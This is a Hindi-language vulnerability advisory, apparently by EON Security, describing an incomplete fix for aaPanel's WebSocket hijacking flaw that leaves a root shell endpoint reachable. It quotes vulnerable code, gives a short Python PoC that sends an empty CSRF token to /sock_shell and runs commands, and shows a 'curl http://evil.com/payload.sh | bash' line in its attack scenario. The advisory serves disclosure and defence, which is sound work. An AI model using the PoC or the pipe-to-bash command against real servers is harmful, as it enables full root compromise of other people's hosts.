aaPanel: विक्रेता हमेशा चीजों को ठीक से नहीं ठीक करते

CVE-2021-37840 का अधूरा सुधार अभी भी 5 साल बाद 3.6M सर्वरों को रूट RCE के लिए उजागर करता है

खोजकर्ता: EON Security
CVE: असाइनमेंट लंबित
CVSS: 8.8 (उच्च) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
प्रभावित: aaPanel संस्करण 6.8.12 से 7.65.0 (2021 के सुधार के बाद से हर संस्करण)
स्थापित आधार: 3.6M+ सर्वर

संक्षिप्त संस्करण

2021 में, aaPanel में एक क्रॉस-साइट WebSocket हाइजैकिंग भेद्यता (CVE-2021-37840) का खुलासा हुआ था, जो 3.6M+ सर्वरों पर चलने वाला एक मुफ्त होस्टिंग नियंत्रण पैनल है। विक्रेता ने इसे "ठीक" करने के लिए एक CSRF टोकन जांच जोड़ा।

सुधार स्थापत्य रूप से गलत था।

अनधिकृत WebSocket कनेक्शनों को HTTP स्तर पर अस्वीकार करने (401 लौटाने) के बजाय, सुधार प्रत्येक कनेक्शन को अनुमति देता है (101 Switching Protocols लौटाता है) और केवल हैंडलर के अंदर प्रमाणीकरण की जांच करता है — WebSocket स्थापित होने के बाद। उन्होंने जो CSRF जांच जोड़ा, उसे कई तरीकों से बायपास किया जा सकता है।

EON Security ने पाया कि 5 साल बाद, हर aaPanel संस्करण अभी भी उसी हमले वर्ग के लिए असुरक्षित है।

यह aaPanel के 6+ साल के इतिहास में केवल 10वां CVE है।

सामान्य भाषा में इसका अर्थ

यदि आप aaPanel चलाते हैं, तो एक हमलावर आपके साथ ऐसा कर सकता है:

परिदृश्य 1: कोई व्यवस्थापक एक बुरा लिंक क्लिक करता है

1. आपकी टीम का कोई व्यक्ति ऐसे लिंक पर क्लिक करता है जिस पर उन्हें नहीं करना चाहिए (ईमेल, विज्ञापन, संदेश)
2. वह पृष्ठ गुप्त रूप से आपके aaPanel के लिए एक WebSocket कनेक्शन खोलता है — आपका ब्राउज़र आपका लॉगिन कुकी स्वचालित रूप से शामिल करता है क्योंकि आप पहले से लॉग इन हैं
3. aaPanel एक वैध सत्र देखता है और कनेक्शन को अनुमति देता है — प्रमाणीकरण पास हो जाता है
4. हमलावर curl http://evil.com/payload.sh | bash भेजता है — वह कमांड आपके सर्वर पर रूट के रूप में चलता है
5. आपका सर्वर पूरी तरह से समझौता हो जाता है: वेबसाइटें चुरा ली जाती हैं, डेटाबेस मिटा दिए जाते हैं, आपके विज़िटर्स को मैलवेयर परोसा जाता है

केवल एक क्लिक चाहिए। एक गलत क्लिक और हमलावर सब कुछ का मालिक बन जाता है।

परिदृश्य 2: एक API कुंजी लीक होती है

1. एक API कुंजी कहीं ऐसी जगह पहुँच जाती है जहाँ नहीं होनी चाहिए — एक सार्वजनिक GitHub रेपो, एक कॉन्फ़िग बैकअप, एक डेवलपर के नोट्स में
2. हमलावर उस कुंजी से प्रमाणित करता है और aaPanel के लिए एक WebSocket खोलता है
3. CSRF जांच देखता है "यह एक API-प्रमाणित अनुरोध है" और जांच को पूरी तरह से छोड़ देता है — यह कोड में बनाया गया एक हार्ड बायपास है
4. हमलावर तुरंत रूट के रूप में कमांड चलाता है
5. कोई व्यवस्थापक क्लिक नहीं, कोई चेतावनी नहीं, कोई लॉग जो असामान्य लगे — बस तत्काल समझौता

यह बड़ी समस्या है। CSRF सुरक्षा API-प्रमाणित अनुरोधों पर बिल्कुल लागू नहीं होती। इसे ब्राउज़र-आधारित कनेक्शनों की जांच के लिए डिज़ाइन किया गया था, लेकिन API पहुँच के लिए कोड पथ इसे पूरी तरह से बायपास करता है।

किसी भी तरह, 3.6 मिलियन सर्वर प्रभावित हैं। 2021 के बाद से हर संस्करण।

1. सभी 10 WebSocket एंडपॉइंट कनेक्शन स्वीकार करते हैं इससे पहले कि वे जाँचें कि आप कौन हैं — प्रमाणीकरण जाँचने से पहले HTTP 101 Switching Protocols लौटाते हैं
2. CSRF जांच में हार्ड बायपास शर्तें हैं — g.api_request=True (API-प्रमाणित अनुरोध) और g.is_aes=True (AES-एन्क्रिप्टेड अनुरोध) जांच को पूरी तरह से छोड़ देते हैं
3. /sock_shell एंडपॉइंट मनमाना कमांड निष्पादित करता है — subprocess.Popen(cmd + " 2>&1", shell=True)
4. /webssh एंडपॉइंट हमलावर द्वारा आपूर्ति किए गए SSH क्रेडेंशियल स्वीकार करता है — किसी भी SSH होस्ट से कनेक्ट करें
5. रूट के रूप में चलता है — पूर्ण सर्वर समझौता

भेद्यता विवरण

1. WebSocket एंडपॉइंट प्रमाणीकरण से पहले कनेक्शन स्वीकार करते हैं

सभी WebSocket एंडपॉइंट किसी भी प्रमाणीकरण जांच से पहले HTTP 101 Switching Protocols लौटाते हैं। comm.local() प्रमाणीकरण जांच हैंडलर के अंदर, WebSocket अपग्रेड पूरा होने के बाद चलती है:

@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← प्रमाणीकरण जांच 101 के बाद होती है
    if comReturn:
        ws.send(str(comReturn))
        return

प्रभावित एंडपॉइंट:

• /webssh (SSH टर्मिनल प्रॉक्सी)
• /sock_shell (प्रत्यक्ष कमांड निष्पादन)
• /ws_panel (पैनल प्रबंधन)
• /ws_home (डैशबोर्ड)
• /ws_project (परियोजना प्रबंधन)
• /ws_model (मॉडल प्रबंधन)
• /workorder_client (टिकट सिस्टम)
• /v2/* उपरोक्त सभी के वेरिएंट

2. CSRF टोकन जांच बायपास

check_csrf_websocket() फ़ंक्शन क्रॉस-साइट WebSocket हाइजैकिंग को रोकने के लिए डिज़ाइन किया गया है:

def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← बायपास: AES मोड जांच छोड़ता है
    if g.api_request: return True    # ← बायपास: API अनुरोध जांच छोड़ते हैं
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

दो हार्ड बायपास शर्तें मौजूद हैं:

• g.api_request: जब True (API कुंजी प्रमाणीकरण के दौरान सेट), CSRF जांच पूरी तरह से छोड़ दी जाती है। कोई भी API-प्रमाणित WebSocket सत्र इस सुरक्षा को बायपास करता है।
• g.is_aes: जब True (AES-एन्क्रिप्टेड API अनुरोधों के दौरान सेट), CSRF जांच भी छोड़ दी जाती है।

टोकन तुलना (get_csrf_sess_html_token_value()) session.get('request_token_head', "") लौटाती है। उन सत्रों में जहाँ यह मान अभी तक प्रारंभ नहीं हुआ है, एक खाली x-http-token जांच पास करता है।

3. sock_shell के माध्यम से कमांड निष्पादन

/sock_shell एंडपॉइंट हमलावर द्वारा आपूर्ति किए गए स्ट्रिंग को सीधे subprocess.Popen को shell=True के साथ पास करता है:

def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← मनमाना कमांड निष्पादन
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

WebSocket पर प्राप्त प्रत्येक संदेश को शेल कमांड के रूप में निष्पादित किया जाता है। आउटपुट WebSocket के माध्यम से वापस स्ट्रीम किया जाता है। चूँकि aaPanel रूट के रूप में चलता है, यह पूर्ण सिस्टम समझौता है।

4. webssh के माध्यम से SSH प्रॉक्सी

/webssh एंडपॉइंट पहले WebSocket संदेश से हमलावर द्वारा आपूर्ति किए गए SSH कनेक्शन पैरामीटर स्वीकार करता है:

ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

यदि होस्ट 127.0.0.1 या localhost है, तो हैंडलर सहेजे गए क्रेडेंशियल के लिए डेटाबेस की जाँच करता है, या हमलावर द्वारा आपूर्ति किए गए का उपयोग करता है।

हमला परिदृश्य

प्राथमिक शोषण पथ CSWSH (क्रॉस-साइट WebSocket हाइजैकिंग) है जिसमें उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है:

1. व्यवस्थापक के पास एक सक्रिय aaPanel सत्र है (लॉग इन)
2. व्यवस्थापक एक दुर्भावनापूर्ण वेबपेज पर जाता है
3. पृष्ठ wss://victim-panel:8888/sock_shell के लिए एक WebSocket खोलता है
4. ब्राउज़र स्वचालित रूप से सत्र कुकी शामिल करता है
5. comm.local() प्रमाणीकरण पास करता है (मान्य सत्र कुकी)
6. हमलावर {"x-http-token": ""} भेजता है या API/AES बायपास पथों का शोषण करता है
7. यदि CSRF जांच पास हो जाती है, तो रूट के रूप में कमांड निष्पादित किए जा सकते हैं

API कुंजी समझौते के माध्यम से वैकल्पिक पथ:

1. हमलावर एक मान्य aaPanel API कुंजी प्राप्त करता है
2. API-प्रमाणित अनुरोध g.api_request = True सेट करते हैं
3. CSRF जांच इन अनुरोधों के लिए पूरी तरह से छोड़ दी जाती है
4. उपयोगकर्ता इंटरैक्शन के बिना सीधा कमांड निष्पादन

प्रभावित एंडपॉइंट

PoC

import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # खाली टोकन के साथ CSRF बायपास का प्रयास करें
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF जांच सक्रिय — API प्रमाणीकरण बायपास की आवश्यकता हो सकती है
            return None
        
        # कमांड निष्पादित करें
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

पूर्ण PoC: exploit.py

पहचान

यह जाँचने के लिए check.py स्क्रिप्ट का उपयोग करें कि क्या किसी aaPanel इंस्टेंस में असुरक्षित WebSocket एंडपॉइंट हैं:

python3 check.py https://target:8888

शमन

1. WebSocket अपग्रेड स्वीकार करने से पहले प्रमाणीकरण जाँचें — हैंडशेक स्तर पर HTTP 401 लौटाएँ, बाद में नहीं
2. हार्ड बायपास शर्तों को हटाएँ — g.api_request और g.is_aes को CSRF सुरक्षा को नहीं छोड़ना चाहिए
3. WebSocket अपग्रेड पर Origin हेडर मान्य करें — अज्ञात मूल को अस्वीकार करें
4. यदि आवश्यक न हो तो sock_shell को अक्षम करें — प्रत्यक्ष रूट कमांड निष्पादन प्रदान करता है
5. aaPanel प्रशासन इंटरफ़ेस तक नेटवर्क पहुँच प्रतिबंधित करें

समयरेखा

संदर्भ

• CVE-2021-37840 — मूल aaPanel CSWSH
• CVE-2026-29859 — aaPanel मनमाना फ़ाइल अपलोड (मार्च 2026)
• aaPanel GitHub — आधिकारिक रिपॉजिटरी
• EON Security — खोजकर्ता

श्रेय

Yadav — EON Security
वेबसाइट: https://eonsecurity.co.za

लाइसेंस

यह सामग्री MIT के तहत लाइसेंस प्राप्त है। PoC केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है।